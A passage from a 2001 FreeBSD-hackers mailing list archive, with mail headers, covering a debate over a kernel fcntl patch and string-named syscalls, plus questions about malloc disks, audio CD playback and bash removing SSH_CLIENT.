>small enough not to worry about the depth of the lists, >and the type of calls using this method is one where the amt >of work in the syscall itself is way larger than the matching cost. yes, one can just strcmp() through the list. it's what filesystem code does anyway, and there are far more files than there are syscalls. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 10: 8: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.nettoll.com (matrix.nettoll.net [212.155.143.61]) by hub.freebsd.org (Postfix) with ESMTP id F19FE37B402 for ; Mon, 29 Jan 2001 10:07:47 -0800 (PST) Received: by smtp.nettoll.com; Mon, 29 Jan 2001 19:04:38 +0100 (MET) Message-Id: <4.3.0.20010129191730.062001a0@pop.free.fr> X-Sender: usebsd@pop.free.fr X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Mon, 29 Jan 2001 19:18:34 +0100 To: Garrett Wollman , Luigi Rizzo From: mouss Subject: Re: [kernel patch] fcntl(...) to close many descriptors Cc: hackers@FreeBSD.ORG In-Reply-To: <200101291728.MAA35556@khavrinen.lcs.mit.edu> References: <200101282045.f0SKjAN25209@iguana.aciri.org> <20010128143117.A22348@spawn.nectar.com> <200101282045.f0SKjAN25209@iguana.aciri.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12:28 29/01/01 -0500, Garrett Wollman wrote: >< >said: > > > kind-of, though the function name should be a string and not > > an integer (easier to extend/allocate), and it should allow > > return values in user-supplied buffers, same as ioctl/fcntl > > calls do. > >dlsym() you mean at user level? That's certainly possible, but I think this is way more than we need. strcmp() is ok given the number of syscalls. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 10: 8:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.rpi.edu (mumble.cs.rpi.edu [128.213.8.16]) by hub.freebsd.org (Postfix) with ESMTP id 2A2C237B400 for ; Mon, 29 Jan 2001 10:08:25 -0800 (PST) Received: from cs.rpi.edu (bill.cs.rpi.edu [128.213.2.2]) by cs.rpi.edu (8.9.3/8.9.3) with ESMTP id NAA51987; Mon, 29 Jan 2001 13:08:23 -0500 (EST) Message-Id: <200101291808.NAA51987@cs.rpi.edu> To: freebsd-hackers@freebsd.org Cc: crossd@cs.rpi.edu Subject: Using multiple Malloc-Disks Date: Mon, 29 Jan 2001 13:08:22 -0500 From: "David E. Cross" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I need to use multiple malloc disks for a custom net-boot image I am working on. The problem is that whenever I access /dev/md1 from the disk it gives me a 'device not configured' error. I originally thought that this was an error in how a preloaded image interfaced with the system, but I also get this on a disk-booted machine. Consider the following test: > dd bs=512 if=/dev/md0c of=/dev/null > 20000 Blocks in > 20000 Blocks out > > dd bs=512 if=/dev/md1c of=/dev/null > Device not configured. Yet, according to the manpage: > The md driver uses the ``almost-clone'' convention, whereby opening de- > vice number N creates device instance number N+1. What is wrong here? A quick look through the source finds there is no code in the open() routine to create a new instance; though I am not entirely sure that is where it would be located. -- David Cross | email: crossd@cs.rpi.edu Lab Director | Rm: 308 Lally Hall Rensselaer Polytechnic Institute, | Ph: 518.276.2860 Department of Computer Science | Fax: 518.276.4033 I speak only for myself. | WinNT:Linux::Linux:FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 10:26: 0 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by hub.freebsd.org (Postfix) with ESMTP id B4DEA37B400; Mon, 29 Jan 2001 10:25:40 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA24242; Mon, 29 Jan 2001 10:25:40 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id f0TIPbd16220; Mon, 29 Jan 2001 10:25:37 -0800 X-Virus-Scanned: Mon, 29 Jan 2001 10:25:37 -0800 Nokia Silicon Valley Email Exploit Scanner Received: from vijay.iprg.nokia.com (205.226.11.157, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(WTS.12.69) smtpdOo85GJ; Mon, 29 Jan 2001 10:25:33 PST Message-ID: <3A75B59F.90F23688@iprg.nokia.com> Date: Mon, 29 Jan 2001 10:25:35 -0800 From: vijay Organization: Nokia - IMN X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Hackers , Questions Subject: newbie - Audio CD question Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I am new to FreeBSD. I wanted to know if I can play audio CDs on "my" system. I have culled the following information from dmesg wdc0 at 0x1f0-0x1f7 irq 14 on isa wdc0: unit 0 (wd0): wd0: 6187MB (12672450 sectors), 13410 cyls, 15 heads, 63 S/T, 512 B/S wdc1 at 0x170-0x177 irq 15 on isa wdc1: unit 0 (atapi): , removable, accel, dma, iordis acd0: drive speed 5512KB/sec, 256KB cache acd0: supported read types: CD-R, CD-RW, CD-DA acd0: Audio: play, 16 volume levels acd0: Mechanism: ejectable tray acd0: Medium: no/blank disc inside, unlocked I also looked at the freebsd/ports collection under audio and found a lot of packages but I am not sure if they will work for "my" system. How can I find that ou? Which of these packages would be the best if I can do it? Also, would I need to change the kernel configuration and do a kernel recompile? TIA v. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 10:34:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 211EE37B6C8 for ; Mon, 29 Jan 2001 10:33:54 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id f0TIXDF67092; Mon, 29 Jan 2001 10:33:13 -0800 (PST) (envelope-from dillon) Date: Mon, 29 Jan 2001 10:33:13 -0800 (PST) From: Matt Dillon Message-Id: <200101291833.f0TIXDF67092@earth.backplane.com> To: mouss Cc: "Jacques A. Vidrine" , Garance A Drosihn , Luigi Rizzo , hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Subject: Re: [kernel patch] fcntl(...) to close many descriptors References: <200101290303.f0T33qg60603@earth.backplane.com> <200101281837.f0SIbGI24332@iguana.aciri.org> <200101290303.f0T33qg60603@earth.backplane.com> <4.3.0.20010129145823.023dfeb0@pop.free.fr> <20010129081455.B2390@hamlet.nectar.com> <4.3.0.20010129191139.064648d0@pop.free.fr> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :true, but if the same idea gets adopted by those many OSes, then it's a benefit :for them all. just how PAM came: it was non-portabble before adoption! : It doesn't solve anything. Besides, there is no such thing as a perfect hash ... at least not one that has a small enough index range to be useful in a table lookup. And, again, no real reason or need to do such a thing. The kernel syscall is hardwired because it is the defining interface between userland and kernelland, and hardwiring it gives us the best, longest term stability in regards to portability. We don't need to pollute it with fancy algorithms that we may decide we have to 'adjust' every year or two. One of the reasons why binary compatibility works so well over many years is the simplicity of API. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 11: 3:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 3DEA437B402 for ; Mon, 29 Jan 2001 11:03:07 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.1/8.11.1) id f0TJ2tx34193; Mon, 29 Jan 2001 11:02:55 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200101291902.f0TJ2tx34193@iguana.aciri.org> Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <200101291833.f0TIXDF67092@earth.backplane.com> from Matt Dillon at "Jan 29, 2001 10:33:13 am" To: dillon@earth.backplane.com (Matt Dillon) Date: Mon, 29 Jan 2001 11:02:45 -0800 (PST) Cc: usebsd@free.fr, n@nectar.com, drosih@rpi.edu, rizzo@aciri.org, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > It doesn't solve anything. Besides, there is no such thing as a > perfect hash ... at least not one that has a small enough index range > to be useful in a table lookup. And, again, no real reason or need > to do such a thing. The kernel syscall is hardwired because it is > the defining interface between userland and kernelland, and hardwiring > it gives us the best, longest term stability in regards to portability. > We don't need to pollute it with fancy algorithms that we may decide > we have to 'adjust' every year or two. One of the reasons why binary i do not get the problem. The search key passed to the kernel would be just a string, just like open() and sysctlbyname() calls handle. And, this mechanism would be explicitly used for "non portable" or experimental functions (such as the closeall() which started the thread, or next time someone comes up with a start_http_server_thread()) and avoiding overloading an existing syscall or having to modify libc would be beneficial in terms of code clarity (you know what the thing is going to do) and portability. cheers luigi ----------------------------------+----------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . ACIRI/ICSI (on leave from Univ. di Pisa) http://www.iet.unipi.it/~luigi/ . 1947 Center St, Berkeley CA 94704 Phone: (510) 666 2927 ----------------------------------+----------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 11: 6:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 9C4AD37B400 for ; Mon, 29 Jan 2001 11:06:29 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id OAA36539; Mon, 29 Jan 2001 14:06:18 -0500 (EST) (envelope-from wollman) Date: Mon, 29 Jan 2001 14:06:18 -0500 (EST) From: Garrett Wollman Message-Id: <200101291906.OAA36539@khavrinen.lcs.mit.edu> To: Luigi Rizzo Cc: hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <200101291902.f0TJ2tx34193@iguana.aciri.org> References: <200101291833.f0TIXDF67092@earth.backplane.com> <200101291902.f0TJ2tx34193@iguana.aciri.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > And, this mechanism would be explicitly used for "non portable" or > experimental functions (such as the closeall() which started the > thread, or next time someone comes up with a start_http_server_thread()) > and avoiding overloading an existing syscall or having to modify > libc This assumes that experimental functionality is always going to implemented as a system call. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 11:16:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 54F3837B404 for ; Mon, 29 Jan 2001 11:16:16 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.1/8.11.1) id f0TJGEG34400; Mon, 29 Jan 2001 11:16:14 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200101291916.f0TJGEG34400@iguana.aciri.org> Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <200101291906.OAA36539@khavrinen.lcs.mit.edu> from Garrett Wollman at "Jan 29, 2001 2: 6:18 pm" To: wollman@khavrinen.lcs.mit.edu (Garrett Wollman) Date: Mon, 29 Jan 2001 11:16:04 -0800 (PST) Cc: rizzo@aciri.org, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > < said: > > > And, this mechanism would be explicitly used for "non portable" or > > experimental functions (such as the closeall() which started the > > thread, or next time someone comes up with a start_http_server_thread()) > > and avoiding overloading an existing syscall or having to modify > > libc > > This assumes that experimental functionality is always going to > implemented as a system call. that was the context of the thread as it evolved -- finding non-intrusive ways to add new or experimental syscalls without having to change kernel, libc or the like. As a matter of fact, you could easily provide (in the libc stub) hooks to add/remove names (and corresponding userland functions) that are tried by this new call either before or after passing control to the kernel version. The generic method would basically have the same interface as ioctl() or fcntl(), with the fd replaced by a pointer to the function name. cheers luigi ----------------------------------+----------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . ACIRI/ICSI (on leave from Univ. di Pisa) http://www.iet.unipi.it/~luigi/ . 1947 Center St, Berkeley CA 94704 Phone: (510) 666 2927 ----------------------------------+----------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 11:24: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id F037A37B698 for ; Mon, 29 Jan 2001 11:23:46 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f0TJNbg25599; Mon, 29 Jan 2001 11:23:37 -0800 (PST) Date: Mon, 29 Jan 2001 11:23:37 -0800 From: Alfred Perlstein To: Luigi Rizzo Cc: Garrett Wollman , hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors Message-ID: <20010129112337.Y26076@fw.wintelcom.net> References: <200101291906.OAA36539@khavrinen.lcs.mit.edu> <200101291916.f0TJGEG34400@iguana.aciri.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200101291916.f0TJGEG34400@iguana.aciri.org>; from rizzo@aciri.org on Mon, Jan 29, 2001 at 11:16:04AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Luigi Rizzo [010129 11:16] wrote: > > < said: > > > > > And, this mechanism would be explicitly used for "non portable" or > > > experimental functions (such as the closeall() which started the > > > thread, or next time someone comes up with a start_http_server_thread()) > > > and avoiding overloading an existing syscall or having to modify > > > libc > > > > This assumes that experimental functionality is always going to > > implemented as a system call. > > that was the context of the thread as it evolved -- finding > non-intrusive ways to add new or experimental syscalls without > having to change kernel, libc or the like. > > As a matter of fact, you could easily provide (in the libc stub) > hooks to add/remove names (and corresponding userland functions) > that are tried by this new call either before or after passing > control to the kernel version. > > The generic method would basically have the same interface as ioctl() > or fcntl(), with the fd replaced by a pointer to the function name. Actually, the easiest way if to make a sysctl that exports the syscall number to useland. mysubsystem.foosyscall: 188 :) -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 11:26:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 507EC37B404 for ; Mon, 29 Jan 2001 11:26:36 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.1/8.11.1) id f0TJQYK34514; Mon, 29 Jan 2001 11:26:34 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200101291926.f0TJQYK34514@iguana.aciri.org> Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <20010129112337.Y26076@fw.wintelcom.net> from Alfred Perlstein at "Jan 29, 2001 11:23:37 am" To: bright@wintelcom.net (Alfred Perlstein) Date: Mon, 29 Jan 2001 11:26:29 -0800 (PST) Cc: rizzo@aciri.org, wollman@khavrinen.lcs.mit.edu, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > The generic method would basically have the same interface as ioctl() > > or fcntl(), with the fd replaced by a pointer to the function name. > > Actually, the easiest way if to make a sysctl that exports the syscall > number to useland. > > mysubsystem.foosyscall: 188 but there is a problem with syscall() in that according to the manpages it cannot handle in/out parameters as instead it is supported by ioctl/fcntl am i mistaken ? cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 11:42: 6 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from locutus.ghs.ssd.k12.wa.us (locutus.ghs.ssd.k12.wa.us [216.186.55.25]) by hub.freebsd.org (Postfix) with ESMTP id 00EC237B404; Mon, 29 Jan 2001 11:41:39 -0800 (PST) Received: from localhost (protozoa@localhost) by locutus.ghs.ssd.k12.wa.us (8.9.3/8.9.3) with ESMTP id LAA66464; Mon, 29 Jan 2001 11:40:57 -0800 (PST) (envelope-from protozoa@locutus.ghs.ssd.k12.wa.us) Date: Mon, 29 Jan 2001 11:36:56 -0800 (PST) From: Dan Feldman To: vijay Cc: Hackers , Questions Subject: Re: newbie - Audio CD question In-Reply-To: <3A75B59F.90F23688@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG There are two ways to play CDs. YOu can either tell the CD player to start playing and have it do all the work, or actually read the CD in software, interpret it, and send it to the speakers. The hardware method is nice because it uses no CPU power and the audio control buttons on the fron tof the drive work, but you usually need a special audio cable connecting the CD player and sound card (unless you intend to play through headphones). There are tons of free programs that can play CDs this way, just cd to /usr/ports and type make search key=cd. Using the all-software method is more complicated, bbut it lets you save portions of the audio to a file, do software mixing, etc. But it can take up quite a bit of CPU time on slower systems. A lot of audio-recording programs and audio-editing programs use this method to play CDs. I know of a few good programs like this for Linux but I haven't tried them on FreeBSD, and I'm pretty sure they're not in the ports tree. Anyone else want to clarify? -- Dan Feldman On Mon, 29 Jan 2001, vijay wrote: > Hi, I am new to FreeBSD. I wanted to know if I can play audio > CDs on "my" system. I have culled the following information from > dmesg > > wdc0 at 0x1f0-0x1f7 irq 14 on isa > wdc0: unit 0 (wd0): > wd0: 6187MB (12672450 sectors), 13410 cyls, 15 heads, 63 S/T, > 512 B/S > wdc1 at 0x170-0x177 irq 15 on isa > wdc1: unit 0 (atapi): , removable, > accel, dma, iordis > acd0: drive speed 5512KB/sec, 256KB cache > acd0: supported read types: CD-R, CD-RW, CD-DA > acd0: Audio: play, 16 volume levels > acd0: Mechanism: ejectable tray > acd0: Medium: no/blank disc inside, unlocked > > I also looked at the freebsd/ports collection under audio and > found a lot of packages but I am not sure if they will work for > "my" system. How can I find that ou? Which of these packages > would be the best if I can do it? Also, would I need to change > the kernel configuration and do a kernel recompile? > > TIA > v. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 12: 0:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id AA9E337B400 for ; Mon, 29 Jan 2001 12:00:25 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id PAA37796; Mon, 29 Jan 2001 15:00:23 -0500 (EST) (envelope-from wollman) Date: Mon, 29 Jan 2001 15:00:23 -0500 (EST) From: Garrett Wollman Message-Id: <200101292000.PAA37796@khavrinen.lcs.mit.edu> To: Luigi Rizzo Cc: hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <200101291926.f0TJQYK34514@iguana.aciri.org> References: <20010129112337.Y26076@fw.wintelcom.net> <200101291926.f0TJQYK34514@iguana.aciri.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > but there is a problem with syscall() in that according to > the manpages it cannot handle in/out parameters as instead > it is supported by ioctl/fcntl Of course it can, and the manual page doesn't even suggest what you say. It says: There is no way to simulate system calls that have multiple return values such as pipe(2). pipe(2) is a special case in that it returns two values rather than one. The actual pipe(2) system call has *no* formal parameters; the unpacking of the two values returned into the declared C formal parameter is done by an assembly-language stub. (This was done for reasons of speed; it is much faster to return two values than it is to copyout() a two-element array. If you were implementing a Lisp binding of POSIX, you would probably define PIPE to be a niladic function which returns a list of two descriptors. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 12: 7:34 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id CFCED37B402 for ; Mon, 29 Jan 2001 12:07:14 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.1/8.11.1) id f0TK7Bc34876; Mon, 29 Jan 2001 12:07:11 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200101292007.f0TK7Bc34876@iguana.aciri.org> Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <200101292000.PAA37796@khavrinen.lcs.mit.edu> from Garrett Wollman at "Jan 29, 2001 3: 0:23 pm" To: wollman@khavrinen.lcs.mit.edu (Garrett Wollman) Date: Mon, 29 Jan 2001 12:07:11 -0800 (PST) Cc: rizzo@aciri.org, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Of course it can, and the manual page doesn't even suggest what you > say. It says: > > There is no way to simulate system calls that have multiple return values > such as pipe(2). ok, sorry for the confusion then (though, how does one tell from the manpage for pipe(2) what is going on there!) cheers luigi > pipe(2) is a special case in that it returns two values rather than > one. The actual pipe(2) system call has *no* formal parameters; the > unpacking of the two values returned into the declared C formal > parameter is done by an assembly-language stub. (This was done for > reasons of speed; it is much faster to return two values than it is to > copyout() a two-element array. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 12: 8:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id A308237B402 for ; Mon, 29 Jan 2001 12:08:08 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id PAA37904; Mon, 29 Jan 2001 15:08:07 -0500 (EST) (envelope-from wollman) Date: Mon, 29 Jan 2001 15:08:07 -0500 (EST) From: Garrett Wollman Message-Id: <200101292008.PAA37904@khavrinen.lcs.mit.edu> To: Luigi Rizzo Cc: wollman@khavrinen.lcs.mit.edu (Garrett Wollman), hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <200101292007.f0TK7Bc34876@iguana.aciri.org> References: <200101292000.PAA37796@khavrinen.lcs.mit.edu> <200101292007.f0TK7Bc34876@iguana.aciri.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > ok, sorry for the confusion then (though, how does one tell from > the manpage for pipe(2) what is going on there!) You're not supposed to -- it's an implementation detail. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 12: 8:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from modemcable101.200-201-24.mtl.mc.videotron.ca (modemcable140.61-201-24.mtl.mc.videotron.ca [24.201.61.140]) by hub.freebsd.org (Postfix) with SMTP id 3B1AE37B69B for ; Mon, 29 Jan 2001 12:08:10 -0800 (PST) Received: (qmail 24091 invoked from network); 29 Jan 2001 20:08:09 -0000 Received: from cognac.local.mindstep.com (HELO cognac) (192.168.10.9) by jacuzzi.local.mindstep.com with SMTP; 29 Jan 2001 20:08:09 -0000 From: "Patrick Bihan-Faou" To: Cc: Subject: Bash2 removes SSH_CLIENT from the environment Date: Mon, 29 Jan 2001 15:09:30 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I am writing some script that looks for the SSH_CLIENT environment variable. As specified in the sshd(8) man page, this variable should contain the IP address of the client, the port number on the client side and the port number on the server side. However I found that if the login shell of the user is set to bash (version 2.03 or 2.04 at least), this variable is never set. Upon inspection of the code for bash, it appears that bash is explicitely removing the definition of this environment variable. Would anybody have an idea why ??? Also the fix to leave SSH_CLIENT defined is trivial, is that something that would be desirable for the bash2 port ? Patrick. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13: 0:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from renown.cnchost.com (renown.concentric.net [207.155.248.7]) by hub.freebsd.org (Postfix) with ESMTP id D958637B400 for ; Mon, 29 Jan 2001 13:00:03 -0800 (PST) Received: from bitblocks.com (ts016d06.sjc-ca.concentric.net [206.173.237.18]) by renown.cnchost.com id PAA27841; Mon, 29 Jan 2001 15:59:59 -0500 (EST) [ConcentricHost SMTP Relay 1.10] Message-ID: <3A75D9C9.1C59ACBA@bitblocks.com> Date: Mon, 29 Jan 2001 12:59:53 -0800 From: Bakul Shah X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Matt Dillon Cc: hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors References: <200101290303.f0T33qg60603@earth.backplane.com> <200101281837.f0SIbGI24332@iguana.aciri.org> <200101290303.f0T33qg60603@earth.backplane.com> <4.3.0.20010129145823.023dfeb0@pop.free.fr> <20010129081455.B2390@hamlet.nectar.com> <4.3.0.20010129191139.064648d0@pop.free.fr> <200101291833.f0TIXDF67092@earth.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This caught my eye: > Besides, there is no such thing as a > perfect hash ... at least not one that has a small enough index range > to be useful in a table lookup. If you can get to old CACMs see `Minimal Perfect Hash Functions Made Simple' by Richard J. Cichelli, Comm. of ACM, Jan 1980. AFAIK gperf uses some variation of that algorithm and may have some details. A minimal perfect hash function is only worth it (IMHO) when the set of input keys is mostly fixed and the hash function is used many many times (e.g. programming language keywords). As for a generic & extensible syscall, you'd have to pay the cost of finding a new minimal perfect hash function every time you load a kernel module that implements a new system call. AFAIK the best algo. to generate a new perfect hash function runs in O(n log n) time -- not too bad (kernel module loading doesn't have to be lightening fast) but even for an experimental syscall the time to reach syscall code should be minimized if it is to ever get past the experimental stage. Someone mentioned discovering the syscall name->index mapping via sysctl but that opens up a window where the mapping can change. For what its worth... -- bakul To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 13: 8:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id 916B637B6C1 for ; Mon, 29 Jan 2001 13:07:56 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.11.1) with ESMTP id f0TL7kK24291; Mon, 29 Jan 2001 22:07:46 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Bakul Shah Cc: Matt Dillon , hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: Your message of "Mon, 29 Jan 2001 12:59:53 PST." <3A75D9C9.1C59ACBA@bitblocks.com> Date: Mon, 29 Jan 2001 22:07:46 +0100 Message-ID: <24289.980802466@critter> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3A75D9C9.1C59ACBA@bitblocks.com>, Bakul Shah writes: >This caught my eye: > >> Besides, there is no such thing as a >> perfect hash ... at least not one that has a small enough index range >> to be useful in a table lookup. > >If you can get to old CACMs see `Minimal Perfect Hash Functions Made Simple' >by Richard J. Cichelli, Comm. of ACM, Jan 1980. AFAIK gperf uses some >variation of that algorithm and may 